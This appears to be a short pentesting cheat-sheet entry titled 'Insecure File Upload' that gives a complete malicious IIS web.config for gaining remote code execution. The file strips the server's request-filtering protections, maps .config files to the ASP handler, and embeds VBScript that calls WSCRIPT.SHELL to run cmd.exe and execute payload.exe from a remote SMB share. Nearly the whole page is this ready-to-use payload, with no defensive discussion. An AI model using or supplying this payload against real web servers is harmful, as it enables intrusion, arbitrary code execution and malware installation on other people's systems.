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Insecure File Upload

RCE by uploading web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
  call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c \\ip\public\payload.exe")
%>
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Last modified 9mo ago